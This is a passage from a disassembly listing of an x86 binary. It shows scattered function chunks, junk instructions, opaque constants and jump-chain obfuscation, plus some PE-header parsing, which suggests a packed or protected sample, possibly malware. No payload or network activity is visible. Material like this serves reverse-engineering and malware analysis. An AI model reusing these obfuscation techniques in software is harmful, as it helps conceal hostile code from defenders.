; END OF FUNCTION CHUNK	FOR sub_4085A2
; ---------------------------------------------------------------------------


loc_405386:				; CODE XREF: _837l4vi2:0040A7CBj
		jl	nullsub_175

; =============== S U B	R O U T	I N E =======================================



sub_40538C	proc near		; CODE XREF: sub_40E739-3272p

; FUNCTION CHUNK AT 004073E3 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	nullsub_1
		jmp	loc_4073E3
sub_40538C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E739


loc_40539A:				; CODE XREF: sub_40E739+3j
		call	sub_40833D


loc_40539F:				; CODE XREF: sub_40E294:loc_40ED6Cj
		jz	sub_4060AF
		jmp	loc_40EAFF
; END OF FUNCTION CHUNK	FOR sub_40E739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405250


loc_4053AA:				; CODE XREF: sub_405250:loc_40914Ej
		sbb	ebp, esi
		xchg	esi, [ebx]
		push	0B0593809h
		adc	edi, 5CE1C513h
		jmp	loc_40C595
; END OF FUNCTION CHUNK	FOR sub_405250
; ---------------------------------------------------------------------------
		adc	esi, ecx
		sub	ebx, 0DF6DCF66h
		jmp	sub_40F5FA
; ---------------------------------------------------------------------------
		xchg	esi, [edx]
		jmp	sub_4089F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0DF


loc_4053D2:				; CODE XREF: sub_40E0DF+23D0j
		push	offset loc_408762
		jmp	locret_40A430
; END OF FUNCTION CHUNK	FOR sub_40E0DF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4053DD	proc near		; DATA XREF: _837l4vi2:loc_405117o

; FUNCTION CHUNK AT 004057DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00405A39 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004078B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00408352 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00409901 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B0D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B289 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040B5C6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040B614 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B880 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040BE5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C1DD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0040C2BC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0040C5CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040D273 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E518 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EB57 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040EF77 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FFCF SIZE 00000005 BYTES

		add	ecx, 3E246350h
		add	ecx, ebp
		add	ecx, 0B0005AD1h
		mov	ecx, [ecx]
		xchg	ecx, [esp+0]
		call	sub_4106D6


loc_4053F5:				; CODE XREF: _837l4vi2:loc_4074E5j
		js	loc_40C1DD
		jmp	loc_40C2BC
sub_4053DD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_405400:				; CODE XREF: sub_409D6B-27FAj
		shr	ebx, 9
		shl	esi, 18h
		push	0ECA4619Eh
		jnz	loc_408F65
		jmp	loc_40633B
; END OF FUNCTION CHUNK	FOR sub_409D6B
; ---------------------------------------------------------------------------


loc_405416:				; DATA XREF: sub_409926o
		jz	loc_4094C3
		push	ecx
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		jmp	loc_40D999
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_40542A:				; CODE XREF: sub_40D735-7982j
		cmp	dword ptr [eax], 47424454h
		jz	loc_409F1E
		jmp	loc_4095B3
; END OF FUNCTION CHUNK	FOR sub_40D735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBFA


loc_40543B:				; CODE XREF: sub_40DBFA+10j
		pop	ecx
		push	0D729B2ADh
		pop	eax
		rol	eax, 1
		jmp	loc_40AB37
; END OF FUNCTION CHUNK	FOR sub_40DBFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407FEA


loc_405449:				; CODE XREF: sub_407FEA+4512j
		jnz	loc_4067AC
		jnb	loc_40F5EE
		shl	ebp, 4


loc_405458:				; CODE XREF: sub_407FEA:loc_40C658j
					; _837l4vi2:loc_40E76Cj
		push	76DB2EA5h
		sub	[esp+4+var_4], 76DB2EA5h
		jmp	loc_4081B9
; END OF FUNCTION CHUNK	FOR sub_407FEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_405469:				; CODE XREF: sub_40926F:loc_40F242j
		jz	loc_40AFB1
		jmp	loc_40FDBE
; END OF FUNCTION CHUNK	FOR sub_40926F

; =============== S U B	R O U T	I N E =======================================



sub_405474	proc near		; DATA XREF: sub_4104E3-9D75o

; FUNCTION CHUNK AT 0040A14E SIZE 00000005 BYTES

		cdq
		push	offset loc_405102
		jmp	loc_40A14E
sub_405474	endp

; ---------------------------------------------------------------------------
		adc	edi, edx
		jmp	loc_405DB8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406CB3


loc_405487:				; CODE XREF: sub_406CB3:loc_406CBDj
		test	ecx, 1
		jmp	loc_40D7FA
; END OF FUNCTION CHUNK	FOR sub_406CB3

; =============== S U B	R O U T	I N E =======================================



sub_405492	proc near		; CODE XREF: sub_409E44+B58p
					; _837l4vi2:0040C9C8j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00406D1F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004089E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A0B2 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040A5F7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040B355 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0040FAB5 SIZE 00000025 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	9292473Bh
		pop	ecx
		rol	ecx, 1Fh
		jb	loc_40A0B2


loc_4054A5:				; CODE XREF: sub_408CD1+3A2Ej
		jmp	loc_40B355
sub_405492	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C1C2


loc_4054AA:				; CODE XREF: sub_40C1C2+6j
		jmp	nullsub_47
; END OF FUNCTION CHUNK	FOR sub_40C1C2
; ---------------------------------------------------------------------------


loc_4054AF:				; CODE XREF: _837l4vi2:004057D0j
		jmp	loc_40A7B6
; ---------------------------------------------------------------------------
		ja	loc_409F98
		jmp	loc_40A0AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E294


loc_4054BF:				; CODE XREF: sub_40E3C8:loc_405141j
					; sub_40E294:loc_406C39j
		push	eax
		rol	eax, 1Bh
		mov	ds:dword_410030, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40E294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4072E4


loc_4054CA:				; CODE XREF: sub_4072E4+2688j
		push	eax
		push	1C377F2Dh
		add	[esp+8+var_8], 93C87898h
		pushf
		jmp	loc_409E03
; END OF FUNCTION CHUNK	FOR sub_4072E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_4054DD:				; CODE XREF: sub_4108AF-9FDAj
		xchg	ebp, eax
		and	ebp, 0B153FD46h
		jmp	loc_40553C
; END OF FUNCTION CHUNK	FOR sub_4108AF

; =============== S U B	R O U T	I N E =======================================



sub_4054EA	proc near		; DATA XREF: sub_40A8D3+28C4o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00407D3A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B8C1 SIZE 00000014 BYTES

		push	ebx
		xchg	eax, ebx
		push	eax
		push	0ECF724E1h
		pop	eax
		jmp	loc_407D3A
sub_4054EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4060C7


loc_4054F9:				; CODE XREF: sub_4060C7+Cj
		mov	edx, 381D7050h
		push	offset sub_405BB4
		jmp	nullsub_215
; END OF FUNCTION CHUNK	FOR sub_4060C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FF0D


loc_405508:				; CODE XREF: sub_40FF0D:loc_40DD36j
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_40FF14
		retn
; END OF FUNCTION CHUNK	FOR sub_40FF0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C9A5


loc_405514:				; CODE XREF: sub_40C9A5:loc_410D18j
		lea	eax, [ebp+var_1C]
		mov	dword ptr [eax], 474244h
		push	0
		call	sub_40989E

locret_405524:				; CODE XREF: _837l4vi2:loc_405601j
		retn
; END OF FUNCTION CHUNK	FOR sub_40C9A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40926F


loc_405525:				; CODE XREF: sub_40926F+784Dj
		jmp	loc_40628A
; END OF FUNCTION CHUNK	FOR sub_40926F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40882B


loc_40552A:				; CODE XREF: sub_40882B+3F13j
		js	loc_40529F
		adc	ebp, ebx


loc_405532:				; CODE XREF: sub_40882B:loc_40C568j
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_408CC1
; END OF FUNCTION CHUNK	FOR sub_40882B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4108AF


loc_40553C:				; CODE XREF: sub_4108AF-B3CAj
		cdq


loc_40553D:				; CODE XREF: sub_4108AF:loc_4068CFj
		push	4
		push	6A45ABD7h
		pop	eax
		rol	eax, 0Ch
		xor	eax, 0DD9D808Ch
		add	eax, 0E8A74918h
		add	eax, ebp
		jmp	loc_4090D6
; END OF FUNCTION CHUNK	FOR sub_4108AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40555B:				; CODE XREF: sub_4078C8:loc_40774Cj
		push	0A589DC21h
		pop	eax
		or	eax, 0D1DBA7E7h
		add	eax, ds:4000CFh
		cmp	eax, 0D065CDCBh
		jmp	loc_40CAE8
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C6B2


loc_405578:				; CODE XREF: sub_40C6B2:loc_40A12Ej
		mov	eax, offset sub_40558B
		xchg	eax, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40C6B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A9C8


loc_405581:				; CODE XREF: sub_40A9C8+5j
		jmp	nullsub_32
; END OF FUNCTION CHUNK	FOR sub_40A9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DFF5


loc_405586:				; CODE XREF: sub_40DFF5-550Ej
		jmp	loc_409EC7
; END OF FUNCTION CHUNK	FOR sub_40DFF5

; =============== S U B	R O U T	I N E =======================================



sub_40558B	proc near		; DATA XREF: sub_40C6B2:loc_405578o
					; sub_40C94E:loc_4074C1o

; FUNCTION CHUNK AT 00409208 SIZE 00000005 BYTES

		pop	ecx
		pop	ebp
		jmp	loc_409208
sub_40558B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_40B76D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C7D


loc_40559A:				; CODE XREF: sub_406C7D+75B4j
		jle	loc_40DBA8
		popf
		xchg	ebp, [edx]
		jmp	loc_408D03
; END OF FUNCTION CHUNK	FOR sub_406C7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4055D2


loc_4055A8:				; CODE XREF: sub_4055D2:loc_40CB91j
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_405AE4
; END OF FUNCTION CHUNK	FOR sub_4055D2

; =============== S U B	R O U T	I N E =======================================



sub_4055B5	proc near		; CODE XREF: sub_40CC4A+3j

; FUNCTION CHUNK AT 00405ADC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00408C8B SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00409FD7 SIZE 00000005 BYTES

		add	esp, 0FFFFFFE4h
		jmp	loc_409FD7
sub_4055B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055BD	proc near		; DATA XREF: sub_40833D:loc_4099B7o

; FUNCTION CHUNK AT 0040E135 SIZE 00000005 BYTES

		or	ecx, ecx
		jz	loc_40E5BE
		mov	ebx, [ebx+ecx]


loc_4055C8:				; CODE XREF: sub_40A526-3B4Cj
		call	sub_40FED5
		jmp	loc_40E135
sub_4055BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055D2	proc near		; CODE XREF: _837l4vi2:00407542j
					; sub_40B529+3p

; FUNCTION CHUNK AT 004055A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00405AE4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00406448 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407322 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040CB91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F651 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040F74D SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_40F651
		mov	eax, [ebp-4]


loc_4055EE:				; CODE XREF: _837l4vi2:0040DFABj
		add	eax, 3Ch
		jmp	loc_40CB91
sub_4055D2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 1Ah
		mov	ds:dword_4109F0, eax
		retn
; ---------------------------------------------------------------------------


loc_405601:				; CODE XREF: _837l4vi2:0040AF2Ej
		jmp	locret_405524

; =============== S U B	R O U T	I N E =======================================



sub_405606	proc near		; CODE XREF: sub_4061B1-512j
					; sub_4103D0:loc_408504p ...

; FUNCTION CHUNK AT 004090C4 SIZE 00000006 BYTES

		jno	loc_4090C4
		jmp	sub_40C1C2
sub_405606	endp


; =============== S U B	R O U T	I N E =======================================



sub_405611	proc near		; CODE XREF: _837l4vi2:loc_4057A2j
					; _837l4vi2:0040E53Aj ...
		xchg	eax, [esp+0]
		pop	eax
		call	sub_40E739
		call	sub_40DE47
sub_405611	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40B3A7


loc_40561F:				; CODE XREF: sub_40B3A7+25B1j
		jmp	loc_40A359
; END OF FUNCTION CHUNK	FOR sub_40B3A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_405624:				; CODE XREF: sub_40AA44+17j
		jmp	loc_40C863
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_405629:				; CODE XREF: sub_40CAD0+4044j
		jge	loc_40D2E0
; END OF FUNCTION CHUNK	FOR sub_40CAD0
; START	OF FUNCTION CHUNK FOR sub_40C5BE


loc_40562F:				; CODE XREF: sub_40C5BE:loc_40C5C9j
		jmp	loc_40B66C
; END OF FUNCTION CHUNK	FOR sub_40C5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_405634:				; CODE XREF: sub_405201+1496j
		jmp	loc_40576E
; END OF FUNCTION CHUNK	FOR sub_405201
; ---------------------------------------------------------------------------
		and	esi, 8532F4BEh
		xor	ebx, 44B33D4Fh
		cmp	ebp, 21781B7Bh
		jmp	loc_40D2D4
; ---------------------------------------------------------------------------
		xchg	ebx, ecx
		jmp	sub_4059FC
; ---------------------------------------------------------------------------


loc_405657:				; CODE XREF: _837l4vi2:loc_408436j
		pop	edx
		sub	edx, 6CCC2A34h
		call	sub_40C5DF

locret_405663:				; CODE XREF: _837l4vi2:loc_40AD71j
		retn
; ---------------------------------------------------------------------------


loc_405664:				; CODE XREF: _837l4vi2:00407215j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		pop	ecx
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_40566F:				; CODE XREF: sub_40833D-280Cj
		jmp	loc_40EF6C
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_405674:				; CODE XREF: sub_40BF48-1DE8j
					; sub_40BF48+2D41j ...
		mov	edx, [esp+0]
		mov	al, 1
		call	edx
		jmp	loc_40A1D9
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------


loc_405680:				; CODE XREF: _837l4vi2:0040A551j
		jno	loc_40B126

; =============== S U B	R O U T	I N E =======================================



sub_405686	proc near		; CODE XREF: sub_40D6D7-22F0p

; FUNCTION CHUNK AT 0040721A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040B485 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		add	eax, ebp
		add	eax, 0B902FEDEh
		jmp	loc_40B485
sub_405686	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_405697:				; CODE XREF: _837l4vi2:004108C3j
		push	ebx
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_405698:				; CODE XREF: sub_40CA5A+3663j
		push	ecx
		mov	[esp+4+var_4], eax
		push	edx
		push	eax
		jmp	loc_410432
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_4056A4:				; CODE XREF: _837l4vi2:0040CE55j
		call	sub_40B088
		push	0CFC804D4h
		pop	edx
		jmp	loc_408C5E
; ---------------------------------------------------------------------------


loc_4056B4:				; CODE XREF: _837l4vi2:00410275j
		sub	edx, 28904563h

; =============== S U B	R O U T	I N E =======================================



sub_4056BA	proc near		; CODE XREF: sub_40DBCC:loc_40B6D4p

; FUNCTION CHUNK AT 00405831 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A6E5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040B536 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CDB0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040D080 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040E0D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E631 SIZE 0000000D BYTES

		mov	[esp+0], eax
		pop	eax
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx


loc_4056C4:				; CODE XREF: _837l4vi2:loc_40FD2Ej
		xor	[esi], edx
		mov	eax, 80000003h
		jmp	loc_40B536
sub_4056BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AE62


loc_4056D0:				; CODE XREF: sub_40AE62+4E81j
		xchg	edx, esi
		mov	ebp, edi
		mov	eax, 0C2E52888h


loc_4056D9:				; CODE XREF: sub_40AE62:loc_40D4E8j
		call	sub_40B088
		mov	edx, 7DA6ACC0h
		jmp	loc_405190
; END OF FUNCTION CHUNK	FOR sub_40AE62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4094E2


loc_4056E8:				; CODE XREF: sub_4094E2:loc_410204j
		mov	cl, [ebp-0Bh]
		xor	edx, edx
		mov	dl, [ebp-9]
		shr	edx, cl
		or	eax, edx
		mov	edx, [ebp-8]
		jmp	loc_408A21
; END OF FUNCTION CHUNK	FOR sub_4094E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_4056FC:				; CODE XREF: sub_40833D+F19j
		js	loc_4109A9
; END OF FUNCTION CHUNK	FOR sub_40833D

; =============== S U B	R O U T	I N E =======================================



sub_405702	proc near		; CODE XREF: sub_40EEC8p

arg_0		= dword	ptr  4

		mov	[esp+0], edx
		pop	edx
		xchg	ebp, [esp-4+arg_0]
		push	offset sub_4087C8
		jmp	nullsub_72
sub_405702	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_405713:				; CODE XREF: sub_4065B8:loc_40DA5Dj
		call	sub_406A63
; END OF FUNCTION CHUNK	FOR sub_4065B8
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_405718:				; CODE XREF: sub_406C3E+16j
		jmp	loc_408DD5
; END OF FUNCTION CHUNK	FOR sub_406C3E
; ---------------------------------------------------------------------------


loc_40571D:				; CODE XREF: _837l4vi2:0040779Cj
		add	eax, 0ECC2714Ah

; =============== S U B	R O U T	I N E =======================================



sub_405723	proc near		; CODE XREF: sub_40DEDE+48Fp

; FUNCTION CHUNK AT 00406748 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00406B99 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409027 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B88A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040E5C8 SIZE 00000004 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h


loc_40572F:				; CODE XREF: sub_40DEDE:loc_410D08j
		mov	[ebp-10h], eax
		jmp	loc_409027
sub_405723	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41018A


loc_405737:				; CODE XREF: sub_41018A:loc_4067A7j
		pop	esi
		add	esi, 1A549832h
		xchg	esi, [esp+4+var_4]
		jmp	sub_406477
; END OF FUNCTION CHUNK	FOR sub_41018A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_405746:				; CODE XREF: sub_406327:loc_406330j
					; _837l4vi2:0040B6BEj ...
		mov	dword ptr [ebp-8], 1
		jmp	loc_40D83B
; END OF FUNCTION CHUNK	FOR sub_40B859

; =============== S U B	R O U T	I N E =======================================



sub_405752	proc near		; CODE XREF: sub_40AB62:loc_40842Bj
					; _837l4vi2:00408688p ...

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00406A52 SIZE 00000011 BYTES

		jz	sub_407A63
		push	ebp
		mov	ebp, esp
		pushf
		jmp	loc_406A52
sub_405752	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	ebx, ecx
		sbb	edi, 93EECE44h
		jmp	sub_4064B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405201


loc_40576E:				; CODE XREF: sub_405201:loc_405634j
		call	sub_40B088
		mov	edx, 20413B0Fh
		push	ecx
		push	19C5FC79h
		pop	ecx
		jmp	loc_4062EC
; END OF FUNCTION CHUNK	FOR sub_405201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4059FC


loc_405784:				; CODE XREF: sub_4059FC+19j
		mov	eax, offset dword_40BDC8
		call	sub_40E13A
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_4068EC
; END OF FUNCTION CHUNK	FOR sub_4059FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405797	proc near		; CODE XREF: sub_409218j

var_14		= byte ptr -14h

; FUNCTION CHUNK AT 00405CF0 SIZE 0000001F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_405CF0
sub_405797	endp

; ---------------------------------------------------------------------------


loc_4057A2:				; CODE XREF: _837l4vi2:00405E84j
		jl	sub_405611
		mov	ebx, ebp
		pop	ecx
		jmp	loc_40F3F3
; ---------------------------------------------------------------------------

locret_4057B0:				; CODE XREF: _837l4vi2:loc_409C64j
		retn
; ---------------------------------------------------------------------------


loc_4057B1:				; CODE XREF: _837l4vi2:0040BFFEj
		jmp	loc_40C031
; ---------------------------------------------------------------------------


loc_4057B6:				; DATA XREF: sub_40892F:loc_407187o
		mov	eax, [ebp-4]
		call	sub_40DC3E
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jle	loc_40C48D
		mov	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_4054AF
; ---------------------------------------------------------------------------

locret_4057D5:				; CODE XREF: _837l4vi2:loc_40E612j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_4057D6:				; CODE XREF: sub_40C3AF+1Bj
		jmp	loc_406278
; END OF FUNCTION CHUNK	FOR sub_40C3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4053DD


loc_4057DB:				; CODE XREF: sub_4053DD:loc_409901j
		jz	loc_405A3F
		jmp	loc_408352
; END OF FUNCTION CHUNK	FOR sub_4053DD

; =============== S U B	R O U T	I N E =======================================



sub_4057E6	proc near		; DATA XREF: sub_40DFF5:loc_40A69Ao

; FUNCTION CHUNK AT 00409BCB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040F3EE SIZE 00000005 BYTES

		add	eax, 3BE01ACh
		push	eax
		call	sub_409926
		xchg	eax, ecx
		jmp	loc_40F3EE
sub_4057E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A58E


loc_4057F9:				; CODE XREF: sub_40A58E+5E59j
		jl	loc_408F70
		sbb	ecx, edi
		jmp	loc_40EF9A
; END OF FUNCTION CHUNK	FOR sub_40A58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405D62


loc_405806:				; CODE XREF: sub_405D62:loc_40843Bj
		push	offset loc_40CD42
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_405D62

; =============== S U B	R O U T	I N E =======================================



sub_405810	proc near		; DATA XREF: sub_40BF48-4836o
		mov	[esp+0], eax
		call	sub_4100FB
sub_405810	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40C162


loc_405818:				; CODE XREF: sub_40C162-18DEj
		pop	eax
		or	eax, 29491581h
		and	eax, 5260E589h
		xor	eax, 0FBCE046Bh
		jmp	loc_408B2C
; END OF FUNCTION CHUNK	FOR sub_40C162
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4056BA


loc_405831:				; CODE XREF: sub_4056BA+79CAj
		jmp	loc_40ACAC
; END OF FUNCTION CHUNK	FOR sub_4056BA
; ---------------------------------------------------------------------------
		jns	loc_407B1C
		jmp	sub_40C7CD
; ---------------------------------------------------------------------------


loc_405841:				; DATA XREF: sub_40BF59+16o
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		jmp	loc_40F7AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CA5A


loc_405850:				; CODE XREF: sub_40CA5A+C00j
		add	eax, 0CCEB3494h
		pop	ecx
		xchg	ebp, [esp+8+var_8]
; END OF FUNCTION CHUNK	FOR sub_40CA5A
; START	OF FUNCTION CHUNK FOR sub_40AE2D


loc_40585A:				; CODE XREF: sub_40AE2D:loc_406D13j
		mov	edx, ebp
		shl	ebp, 1Fh
		jmp	loc_40AEE9
; END OF FUNCTION CHUNK	FOR sub_40AE2D
; ---------------------------------------------------------------------------
		shl	ecx, 10h
		jmp	sub_40D169
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41087A


loc_40586C:				; CODE XREF: sub_41087A:loc_40C440j
					; _837l4vi2:loc_410B93j
		jp	loc_40909A
		jz	loc_40AA9A
		xchg	ecx, edx
		and	ebx, eax
		jmp	loc_40C793
; END OF FUNCTION CHUNK	FOR sub_41087A
; ---------------------------------------------------------------------------
		test	al, al


loc_405883:				; CODE XREF: _837l4vi2:loc_408135j
		jz	loc_41050C
		push	esi
		push	0F86C68E7h
		pop	esi
		and	esi, 14086CABh
		rol	esi, 0Fh
		add	esi, 0CBEF7D07h
		jmp	loc_40D46E
; ---------------------------------------------------------------------------


loc_4058A4:				; DATA XREF: sub_4108C8+3o
		xchg	edi, [esp]
		mov	ebp, esp
		js	loc_40EF40
		add	esp, 0FFFFFFF0h
		call	sub_40B088
		mov	edx, 0CB39536Bh
		call	sub_40E739
		mov	[ebp-4], eax
		jmp	loc_407B77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410828


loc_4058C9:				; CODE XREF: sub_410828:loc_4062E7j
		push	eax
		rol	eax, 5
		mov	ds:dword_40A138, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_410828
; ---------------------------------------------------------------------------


loc_4058D4:				; CODE XREF: _837l4vi2:00407E42j
		ror	eax, 5
		push	eax
		jmp	locret_40CA71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0B9


loc_4058DD:				; CODE XREF: sub_40B0B9+Fj
		rol	eax, 7
		push	edx
		push	2584FDD5h
		xchg	edi, [esp+8+var_8]
		mov	edx, edi
		pop	edi
		jmp	loc_40B998
; END OF FUNCTION CHUNK	FOR sub_40B0B9
; ---------------------------------------------------------------------------
